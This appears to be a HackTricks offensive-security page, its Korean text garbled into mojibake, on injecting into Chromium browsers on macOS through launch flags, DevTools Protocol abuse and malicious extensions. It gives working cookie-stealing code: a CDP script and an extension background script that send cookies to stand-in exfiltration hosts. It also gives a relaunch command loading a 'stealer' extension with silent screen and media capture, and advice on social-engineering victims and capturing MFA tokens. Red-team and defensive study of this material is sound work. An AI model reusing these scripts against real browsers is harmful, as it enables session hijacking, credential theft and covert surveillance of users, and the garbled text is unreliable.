macOS Chromium Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Chromium-based browsers like Google Chrome, Microsoft Edge, Brave, Arc, Vivaldi, and Opera๋Š” ๋™์ผํ•œ command-line switches, preference files, ๊ทธ๋ฆฌ๊ณ  DevTools automation interfaces๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. macOS์—์„œ๋Š” GUI์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์–ด๋–ค ์‚ฌ์šฉ์ž๋“  ๊ธฐ์กด ๋ธŒ๋ผ์šฐ์ € ์„ธ์…˜์„ ์ข…๋ฃŒํ•˜๊ณ  ๋Œ€์ƒ์˜ entitlements๋กœ ์‹คํ–‰๋˜๋Š” ์ž„์˜์˜ flags, extensions, ๋˜๋Š” DevTools endpoints๋ฅผ ์‚ฌ์šฉํ•ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋‹ค์‹œ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Launching Chromium with custom flags on macOS

macOS๋Š” Chromium ํ”„๋กœํŒŒ์ผ๋‹น ๋‹จ์ผ UI ์ธ์Šคํ„ด์Šค๋ฅผ ์œ ์ง€ํ•˜๋ฏ€๋กœ ๋ณดํ†ต ๊ณ„์ธก์„ ์œ„ํ•ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๊ฐ•์ œ ์ข…๋ฃŒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: osascript -e 'tell application "Google Chrome" to quit'). ๊ณต๊ฒฉ์ž๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ open -na "Google Chrome" --args <flags>๋กœ ์žฌ์‹คํ–‰ํ•˜์—ฌ ์•ฑ ๋ฒˆ๋“ค์„ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  ์ธ์ˆ˜๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ช…๋ น์„ user LaunchAgent(~/Library/LaunchAgents/*.plist)๋‚˜ ๋กœ๊ทธ์ธ ํ›…์— ๊ฐ์‹ธ๋ฉด ๋ณ€์กฐ๋œ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์žฌ๋ถ€ํŒ…/๋กœ๊ทธ์˜คํ”„ ํ›„์—๋„ ์žฌ์ƒ์„ฑ๋˜๋Š” ๊ฒƒ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

--load-extension Flag

--load-extension ํ”Œ๋ž˜๊ทธ๋Š” unpacked extensions(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ๊ฒฝ๋กœ)์„ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. --disable-extensions-except์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ์ •์ƒ์ ์ธ ํ™•์žฅ์„ ์ฐจ๋‹จํ•˜๋ฉด์„œ ์˜ค์ง ๊ณต๊ฒฉ์ž์˜ ํŽ˜์ด๋กœ๋“œ๋งŒ ์‹คํ–‰๋˜๊ฒŒ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ ํ™•์žฅ์€ debugger, webRequest, cookies์™€ ๊ฐ™์€ ๊ณ ๊ถŒํ•œ permissions๋ฅผ ์š”์ฒญํ•ด DevTools ํ”„๋กœํ† ์ฝœ๋กœ ์ „์ดํ•˜๊ฑฐ๋‚˜, CSP ํ—ค๋”๋ฅผ ํŒจ์น˜ํ•˜๊ณ , HTTPS๋ฅผ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜, ๋ธŒ๋ผ์šฐ์ € ์‹œ์ž‘ ์ฆ‰์‹œ ์„ธ์…˜ ์ž๋ฃŒ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

--remote-debugging-port / --remote-debugging-pipe Flags

์ด ์Šค์œ„์น˜๋Š” Chrome DevTools Protocol (CDP)์„ TCP๋‚˜ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๊ณต๊ฐœํ•˜์—ฌ ์™ธ๋ถ€ ํˆด์ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Google์€ ์ด ์ธํ„ฐํŽ˜์ด์Šค์˜ widespread infostealer ๋‚จ์šฉ์„ ๊ด€์ฐฐํ–ˆ์œผ๋ฉฐ, Chrome 136 (March 2025)๋ถ€ํ„ฐ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋น„ํ‘œ์ค€ --user-data-dir๋กœ ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ํ•œ ๊ธฐ๋ณธ ํ”„๋กœํŒŒ์ผ์— ๋Œ€ํ•ด ์ด ์Šค์œ„์น˜๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์‹ค์ œ ํ”„๋กœํŒŒ์ผ์—์„œ App-Bound Encryption์„ ๊ฐ•์ œํ•˜์ง€๋งŒ, ๊ณต๊ฒฉ์ž๋Š” ์—ฌ์ „ํžˆ ์ƒˆ ํ”„๋กœํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ํ”ผํ•ด์ž๊ฐ€ ๊ทธ ์•ˆ์—์„œ ์ธ์ฆํ•˜๋„๋ก ์œ ๋„(phishing/triage assistance)ํ•œ ๋’ค CDP๋ฅผ ํ†ตํ•ด cookies, tokens, device trust states, ๋˜๋Š” WebAuthn registrations๋ฅผ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

--user-data-dir Flag

์ด ํ”Œ๋ž˜๊ทธ๋Š” ์ „์ฒด ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœํŒŒ์ผ(History, Cookies, Login Data, Preference files ๋“ฑ)์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ตœ์‹  Chrome ๋นŒ๋“œ์™€ --remote-debugging-port๋ฅผ ์กฐํ•ฉํ•  ๋•Œ ํ•„์ˆ˜์ด๋ฉฐ, ๋˜ํ•œ ๋ณ€์กฐ๋œ ํ”„๋กœํŒŒ์ผ์„ ๊ฒฉ๋ฆฌํ•˜์—ฌ ๋ณด์•ˆ ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ํ™•์žฅ์„ ์ž๋™ ์„ค์น˜ํ•˜๋ฉฐ ๊ธฐ๋ณธ ์Šคํ‚ด์„ ๋ณ€๊ฒฝํ•˜๋Š” ์‚ฌ์ „ ์ฑ„์›Œ์ง„ Preferences ๋˜๋Š” Secure Preferences ํŒŒ์ผ์„ ๋–จ์–ด๋œจ๋ฆด ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

--use-fake-ui-for-media-stream Flag

์ด ์Šค์œ„์น˜๋Š” ์นด๋ฉ”๋ผ/๋งˆ์ดํฌ ๊ถŒํ•œ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์šฐํšŒํ•˜์—ฌ getUserMedia๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ชจ๋“  ํŽ˜์ด์ง€๊ฐ€ ์ฆ‰์‹œ ์ ‘๊ทผ์„ ๋ฐ›๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. --auto-select-desktop-capture-source="Entire Screen", --kiosk ๊ฐ™์€ ํ”Œ๋ž˜๊ทธ๋‚˜ CDP์˜ Browser.grantPermissions ๋ช…๋ น๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ์˜ค๋””์˜ค/๋น„๋””์˜ค๋ฅผ ์กฐ์šฉํžˆ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜ ํ™”๋ฉด ๊ณต์œ ๋ฅผ ํ•˜๊ฑฐ๋‚˜ WebRTC ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Remote Debugging & DevTools Protocol Abuse

Once Chrome is relaunched with a dedicated --user-data-dir and --remote-debugging-port, you can attach over CDP (e.g., via chrome-remote-interface, puppeteer, or playwright) and script high-privilege workflows:

  • Cookie/session theft: Network.getAllCookies and Storage.getCookies return HttpOnly values even when App-Bound encryption would normally block filesystem access, because CDP asks the running browser to decrypt them.
  • Permission tampering: Browser.grantPermissions and Emulation.setGeolocationOverride let you bypass camera/mic prompts (especially when combined with --use-fake-ui-for-media-stream) or falsify location-based security checks.
  • Keystroke/script injection: Runtime.evaluate executes arbitrary JavaScript inside the active tab, enabling credential lifting, DOM patching, or injecting persistence beacons that survive navigation.
  • Live exfiltration: Network.webRequestWillBeSentExtraInfo and Fetch.enable intercept authenticated requests/responses in real time without touching disk artifacts.
import CDP from 'chrome-remote-interface';

(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Network, Runtime} = client;
await Network.enable();
const {cookies} = await Network.getAllCookies();
console.log(cookies.map(c => `${c.domain}:${c.name}`));
await Runtime.evaluate({expression: "fetch('https://xfil.local', {method:'POST', body:document.cookie})"});
await client.close();
})();

Because Chrome 136 blocks CDP on the default profile, copy/pasting the victimโ€™s existing ~/Library/Application Support/Google/Chrome directory to a staging path no longer yields decrypted cookies. Instead, social-engineer the user into authenticating inside the instrumented profile (e.g., โ€œhelpfulโ€ support session) or capture MFA tokens in transit via CDP-controlled network hooks.

Extension-Based Injection via Debugger API

2023๋…„ ์—ฐ๊ตฌ โ€œChrowned by an Extensionโ€œ๋Š” ์•…์„ฑ extension์ด chrome.debugger API๋ฅผ ์‚ฌ์šฉํ•ด ์–ด๋–ค ํƒญ์—๋„ attachํ•˜๊ณ  --remote-debugging-port์™€ ๋™์ผํ•œ DevTools ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์›๋ž˜์˜ ๊ฒฉ๋ฆฌ ๊ฐ€์ • (extensions stay in their context)์„ ๊นจ๊ณ  ๋‹ค์Œ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

  • ์€๋ฐ€ํ•œ cookie ๋ฐ credential theft (Network.getAllCookies/Fetch.getResponseBody).
  • ์‚ฌ์ดํŠธ ๊ถŒํ•œ(camera, microphone, geolocation) ๋ณ€๊ฒฝ ๋ฐ security interstitial ์šฐํšŒ๋กœ phishing ํŽ˜์ด์ง€๊ฐ€ Chrome ๋Œ€ํ™”์ƒ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•จ.
  • ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋ฐฉ์‹์œผ๋กœ Page.handleJavaScriptDialog, Page.setDownloadBehavior, ๋˜๋Š” Security.handleCertificateError๋ฅผ ์ œ์–ดํ•ด TLS ๊ฒฝ๊ณ , ๋‹ค์šด๋กœ๋“œ, ๋˜๋Š” WebAuthn ํ”„๋กฌํ”„ํŠธ๋ฅผ ์˜จ-ํŒจ์Šค ๋ณ€์กฐ.

์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ๋™์ž‘ํ•˜๊ฒŒ ํ•˜๋ ค๋ฉด extension์„ --load-extension/--disable-extensions-except์™€ ํ•จ๊ป˜ ๋กœ๋“œํ•˜์„ธ์š”. API๋ฅผ ์•…์šฉํ•˜๋Š” ์ตœ์†Œํ•œ์˜ background ์Šคํฌ๋ฆฝํŠธ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

chrome.tabs.onUpdated.addListener((tabId, info) => {
if (info.status !== 'complete') return;
chrome.debugger.attach({tabId}, '1.3', () => {
chrome.debugger.sendCommand({tabId}, 'Network.enable');
chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
fetch('https://exfil.local/dump', {method: 'POST', body: JSON.stringify(res.cookies)});
});
});
});

ํ™•์žฅ์€ Debugger.paused ์ด๋ฒคํŠธ๋ฅผ ๊ตฌ๋…ํ•˜์—ฌ JavaScript ๋ณ€์ˆ˜ ์ฝ๊ธฐ, ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ํŒจ์น˜, ๋˜๋Š” ๋„ค๋น„๊ฒŒ์ด์…˜์„ ๊ฑฐ์ณ๋„ ์œ ์ง€๋˜๋Š” ์ปค์Šคํ…€ ์ค‘๋‹จ์  ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ๊ฒƒ์ด ์‚ฌ์šฉ์ž์˜ GUI ์„ธ์…˜ ๋‚ด์—์„œ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— Gatekeeper์™€ TCC๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋ฏธ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰์„ ํš๋“ํ•œ ์•…์„ฑ์ฝ”๋“œ์— ์ด ๊ธฐ๋ฒ•์ด ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.

๋„๊ตฌ

  • https://github.com/breakpointHQ/snoop - payload extensions์„ ์‚ฌ์šฉํ•ด Chromium ์‹คํ–‰์„ ์ž๋™ํ™”ํ•˜๊ณ  ๋Œ€ํ™”ํ˜• CDP ํ›…์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • https://github.com/breakpointHQ/VOODOO - macOS ์šด์˜์ž๋ฅผ ์œ„ํ•œ ํŠธ๋ž˜ํ”ฝ ๊ฐ€๋กœ์ฑ„๊ธฐ ๋ฐ ๋ธŒ๋ผ์šฐ์ € ๊ณ„์ธก์— ์ดˆ์ ์„ ๋งž์ถ˜ ์œ ์‚ฌ ํˆด๋ง์ž…๋‹ˆ๋‹ค.
  • https://github.com/cyrus-and/chrome-remote-interface - --remote-debugging-port ์ธ์Šคํ„ด์Šค๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด Chrome DevTools Protocol ๋คํ”„(cookies, DOM, permissions)๋ฅผ ์Šคํฌ๋ฆฝํŠธํ™”ํ•˜๊ธฐ ์œ„ํ•œ Node.js ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค.

์˜ˆ์ œ

# Launch an instrumented Chrome profile listening on CDP and auto-granting media/capture access
osascript -e 'tell application "Google Chrome" to quit'
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-privesc" \
--remote-debugging-port=9222 \
--load-extension="$PWD/stealer" \
--disable-extensions-except="$PWD/stealer" \
--use-fake-ui-for-media-stream \
--auto-select-desktop-capture-source="Entire Screen"

# Intercept traffic
voodoo intercept -b chrome

tools links์—์„œ ๋” ๋งŽ์€ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ